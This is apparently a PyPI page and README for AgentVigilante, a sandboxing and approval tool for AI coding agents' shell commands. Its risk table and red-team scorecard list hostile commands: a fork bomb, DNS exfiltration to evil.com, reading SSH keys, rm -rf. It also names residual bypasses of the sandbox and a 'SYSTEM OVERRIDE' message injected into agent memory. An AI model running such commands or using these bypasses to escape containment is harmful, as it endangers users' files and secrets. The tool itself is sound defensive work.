Skip to main content

AgentVigilante

A containment runtime for AI coding agents.

Your agent proposes. AgentVigilante inspects, sandboxes, and asks — before anything touches your machine.

License: MIT Python Tests MCP

Quickstart · How it works · Invisible mode · Security model · Contributing


Demo

Video walkthrough coming soon.


The problem

Coding agents run shell commands. Most of the time that is pytest and npm install. Occasionally it is rm -rf, a rewritten .env, or a package that phones home.

You find out afterward.

What AgentVigilante does

Every command is classified before it executes, runs against a copy-on-write clone of your workspace inside an ephemeral container, and only reaches your real files when you say so.

Without AgentVigilante With AgentVigilante
pytest Runs on your machine Runs in a disposable sandbox
npm install left-pad Installs, unbounded network Sandboxed, whitelist egress only
echo secret > .env Overwrites your file Waits for your approval
rm -rf build Gone Blocked before it starts
Agent "forgets" you rejected it Keeps going SYSTEM OVERRIDE re-syncs its memory

Install (one command)

Requirements: Python 3.11+, Docker Desktop (or Engine) running, host git.

# Python (recommended)
pipx install agentvigilante && agentvigilante bootstrap

# or npm
npx agentvigilante bootstrap

# or Homebrew (after the tap is published)
brew install adityalone/tap/agentvigilante && agentvigilante bootstrap

Then start the console:

agentvigilante start          # → http://127.0.0.1:8420

bootstrap checks your environment, builds the sandbox image, and wires Cursor / Claude / Windsurf MCP configs. Restart your IDE after bootstrap so the MCP tools load.

Maintainer release steps: see PUBLISH.md.

Try a risky command

curl -s http://127.0.0.1:8420/v1/commands \
  -H 'Content-Type: application/json' \
  -d '{"command":"echo hello > greeting.txt","timeout":10}'

That write appears in the console — and as a native dialog — waiting for Approve or Deny.


How it works

flowchart TD
  agent[Agent command]
  analyzer[AST risk analyzer]
  blocked[Blocked with feedback]
  pending[Pending your approval]
  hologram[COW shadow workspace]
  docker["Docker sandbox + strace"]
  egress[Whitelist CONNECT proxy]
  promote[Promote to real workspace]

  agent --> analyzer
  analyzer -->|CRITICAL| blocked
  analyzer -->|RISKY| pending
  analyzer -->|SAFE| hologram
  pending -->|Approve| hologram
  hologram --> docker
  docker --> egress
  docker --> promote
  1. Classify — a bashlex AST pass sorts every command into SAFE, RISKY, or CRITICAL.
  2. Clone — the job gets a copy-on-write shadow of your workspace. Docker mounts the shadow, never the origin.
  3. Contain — non-root container, CPU/memory caps, pids_limit=64, cap_drop=ALL, destroyed after the turn.
  4. Filter — outbound traffic passes a whitelist CONNECT proxy; DNS inside the sandbox is blackholed.
  5. Decide — approve, deny with feedback, promote the diff, or revert the hologram and the agent's memory with it.

Three ways to route agents through AgentVigilante

MCP gateway agentvigilante wrap Invisible mode
Setup agentvigilante init agentvigilante wrap cursor . agentvigilante invisible enable
Intercepts Tool calls the model chooses PATH lookups for bash, npm, python, … Same, globally, every terminal
Built-in IDE Shell No Yes Yes
Runs in background No No launchd / systemd
Interrupts you Every RISKY Every RISKY Anomalies only

MCP gateway

agentvigilante init              # patches Claude / Cursor / Windsurf
agentvigilante init --project    # also ./.cursor/mcp.json

Tools exposed: agentvigilante_exec, agentvigilante_job_status, agentvigilante_revert.

Manual MCP config
{
  "mcpServers": {
    "agentvigilante": {
      "command": "python",
      "args": ["-m", "agent_vigilante.mcp_server"],
      "env": { "AGENTVIGILANTE_URL": "http://127.0.0.1:8420" }
    }
  }
}

PATH shims (agentvigilante wrap)

MCP is a soft boundary — the model can still reach for a built-in Shell tool. Wrapping is harder: shims in ~/.agentvigilante/shims intercept the binary lookup itself.

agentvigilante shim-install
agentvigilante wrap claude       # CLI agents
agentvigilante wrap cursor .     # launches Cursor with shimmed PATH (macOS)

wrap prepends the shim directory to PATH, points SHELL at the shimmed shell, and launches GUI apps by their binary so the environment survives. Set AGENTVIGILANTE_BYPASS=1 for deliberate host passthrough.

Residual risk: an absolute invocation such as /bin/zsh -c ... skips PATH entirely and is not intercepted.


Invisible mode

Interactive is the default. Invisible mode is for when you want the guard running without the ceremony.

agentvigilante invisible enable     # background service + shell PATH + autopilot
agentvigilante invisible status
agentvigilante invisible disable    # back to interactive
Interactive (default) Invisible
Daemon agentvigilante start launchd / systemd
PATH opt-in via wrap injected into .zshrc / .bashrc
npm install, pytest waits for approval silent autopilot in the hologram
.env / .ssh writes waits waits, prompts in your IDE
rm -rf, fork bombs blocked blocked, toast in your IDE
Where you approve browser / native dialog IDE status bar

Autopilot is what keeps it quiet: standard development commands run straight through the sandbox, and you are only interrupted by anomalies — sensitive-path writes, global installs, git push, destructive patterns.

Service control on its own:

agentvigilante service install | uninstall | status | start | stop

IDE extension

extensions/vscode/ adds a status bar item — AgentVigilante: Active (0 pending) — with one-click Approve / Block when something needs you. Install instructions live in that folder.


Security model

Risk routing

Risk Examples Behavior
SAFE ls, pwd, cat, git status Auto-runs in the sandbox
RISKY npm install, pip install, echo x > file, python script.py, ln Waits for approval (autopilot may auto-run the routine ones)
CRITICAL rm -rf, curl, dig, nc, fork bombs, cat ~/.ssh/id_rsa Blocked immediately

Defense in depth

  1. Pre-flight AST analyzer (bashlex) — classification before execution
  2. Human in the loop — approve, deny with feedback, or deny and revert
  3. Docker isolation — non-root 1000:1000, memory/CPU caps, pids_limit=64, cap_drop=ALL (+ SYS_PTRACE for tracing), no-new-privileges, ephemeral
  4. Whitelist CONNECT egress — allowed hosts only, no TLS interception
  5. DNS blackhole — dns=127.0.0.1 inside the container; registry hosts pinned via extra_hosts
  6. Symlink guard — SAFE commands touching workspace symlinks escalate to review and are rechecked at approve time
  7. Git Time Machine — checkpoints under refs/agentvigilante/* inside the hologram
  8. Memory revert — wiping the shadow also injects a one-shot SYSTEM OVERRIDE so the model stops believing its change landed

Egress whitelist

pypi.org, files.pythonhosted.org, registry.npmjs.org, github.com, objects.githubusercontent.com, nodejs.org and their subdomains.

Containers get HTTP(S)_PROXY=http://host.docker.internal:8888. Clients that honor the proxy are filtered at CONNECT.

Residual risk: raw TCP to literal IPs, and tools that ignore HTTP_PROXY (curl --noproxy '*'), can still leave via the Docker bridge until an iptables sidecar lands. Treat Approve as a privileged action.

Red-team scorecard
Scenario Verdict Notes
Natural-language disguise — python exploit.py wrapping curl AST sees only python → RISKY (human review). Proxy-aware HTTPS to non-whitelist hosts is blocked after approve. Nested payloads are not AST-visible; blackholed DNS and CRITICAL curl reduce impact.
Fork bomb — :(){ :|:& };: Inline pattern → CRITICAL. Script-borne variants hit pids_limit=64 and the nproc ulimit. PID exhaustion is contained at the cgroup.
DNS exfiltration — dig <hex>.evil.com dig / nslookup / host → CRITICAL; resolver blackholed. A public resolver would not help — query labels still leak. Residual: raw UDP/TCP to attacker IPs.
TOCTOU symlink escape Bind mounts do not traverse symlinks to the host FS; workspace symlinks escalate SAFE → RISKY and are blocked at approve. Shared read-write races remain a concurrency concern, not a host escape.

Console

The UI is a Vite + React + shadcn app in web/: landing at /, containment console at /console.

Approve or deny pending commands, stream live terminal output over WebSocket, inspect filesystem diffs, review kernel telemetry from strace -f, promote a hologram into your real workspace, or hit E-Stop.

cd web
npm install
npm run build      # outputs web/dist, served by FastAPI
npm run dev        # optional live reload on :5173
Flag Default
--host 127.0.0.1
--port 8420
--workdir ./workspace
--base-image agentvigilante-sandbox:local
--proxy-port 8888
--no-native-notify off

API

HTTP endpoints
# SAFE — auto-executes
curl -s http://127.0.0.1:8420/v1/commands \
  -H 'Content-Type: application/json' \
  -d '{"command":"ls -la","timeout":10}'

# RISKY — pending approval
curl -s http://127.0.0.1:8420/v1/commands \
  -H 'Content-Type: application/json' \
  -d '{"command":"echo hello > greeting.txt","timeout":10}'

curl -s -X POST "http://127.0.0.1:8420/v1/commands/${JOB_ID}/approve"
curl -s "http://127.0.0.1:8420/v1/commands/${JOB_ID}"

# Runtime state for IDE integrations
curl -s http://127.0.0.1:8420/v1/status
curl -s http://127.0.0.1:8420/v1/events/recent

# Egress log and emergency stop
curl -s http://127.0.0.1:8420/v1/egress/events
curl -s -X POST http://127.0.0.1:8420/v1/estop

Live output stream: ws://127.0.0.1:8420/v1/commands/{id}/stream


Development

git clone https://github.com/ADITYALONE/AgentVigilante.git
cd AgentVigilante

python3 -m venv .venv && source .venv/bin/activate
pip install -e .
./scripts/sync_web_assets.sh   # optional — rebuilds packaged UI
agentvigilante bootstrap
agentvigilante start

Run the suite:

python -m unittest discover -s tests -v
Project layout
agent_vigilante/
├── cli.py                # init / setup / start / wrap / invisible / service
├── config.py             # ~/.agentvigilante/config.json
├── shim.py               # PATH shim generation
├── exec_shim.py          # shim → daemon client
├── wrap.py               # environment composition and app launch
├── service.py            # launchd / systemd units
├── shell_integration.py  # .zshrc / .bashrc injection
├── notify.py             # native Approve / Deny dialogs
├── mcp_server.py         # MCP stdio server
├── core/
│   ├── command_analyzer.py   # AST risk classification
│   ├── autopilot.py          # silent-run allowlist
│   ├── hologram.py           # COW shadow workspaces
│   ├── isolation.py          # Docker sandbox
│   ├── egress_proxy.py       # whitelist CONNECT proxy
│   ├── checkpoint.py         # git Time Machine
│   ├── path_guard.py         # symlink guard
│   ├── strace_profile.py     # kernel telemetry
│   ├── diff_engine.py
│   └── proxy.py              # FastAPI routes
├── dashboard/server.py
extensions/vscode/        # Cursor / VS Code status bar
web/                      # Vite + React console
tests/

Distribution

Channel Command Status
pipx pipx install agentvigilante && agentvigilante bootstrap ready to publish — see PUBLISH.md
npx npx agentvigilante bootstrap ready to publish
Homebrew brew install adityalone/tap/agentvigilante formula template in Formula/
Source pip install -e . available
Smithery npx -y @smithery/cli install agentvigilante --client claude stub in smithery.yaml

Contributing

Issues and PRs are welcome — start with CONTRIBUTING.md. Because this is a security tool, every PR states its security impact, even when that impact is none.

Found a bypass? Email adityapunjani9@gmail.com instead of opening a public issue.

License

MIT © Aditya Punjani

Metadata

Release files for agentvigilante 0.4.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for agentvigilante 0.4.0
File Size Uploaded Provenance
agentvigilante-0.4.0.tar.gz 1.2 MB Without provenance Details

Built distribution (wheel)

Table of built distributions (wheels) for agentvigilante 0.4.0
File Interpreter ABI Platform
agentvigilante-0.4.0-py3-none-any.whl Python 3 none any Details

Total release size: 2.4 MB

Release files / agentvigilante-0.4.0.tar.gz

Download URL agentvigilante-0.4.0.tar.gz
Size 1.2 MB
Tags Source
SHA-256 checksum
How to use checksums
9b033301694911fb99df4f3ea7fb45f0b5cc973d72a3c18d25b51c9ca27da562
BLAKE2b-256 checksum
How to use checksums
65182f4bc92745d268a54d9f74ac54248ec88ae516b5b9c8d5f1b1e695746bd6
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.12.9

Release files / agentvigilante-0.4.0-py3-none-any.whl

Download URL agentvigilante-0.4.0-py3-none-any.whl
Size 1.2 MB
Tags Python 3
SHA-256 checksum
How to use checksums
832362dbb2e911d770d2b2230990be595651e5e3cd9f8ff783127304ee6aca48
BLAKE2b-256 checksum
How to use checksums
5e4d9480ecd8b8c9e3b84d52ce28419fb0fc03416ac840a4560c4c0aa0f8c927
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.12.9

Security for agentvigilante 0.4.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

Release history Release notifications | RSS feed

This release

0.4.0 This release

2 release files No provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page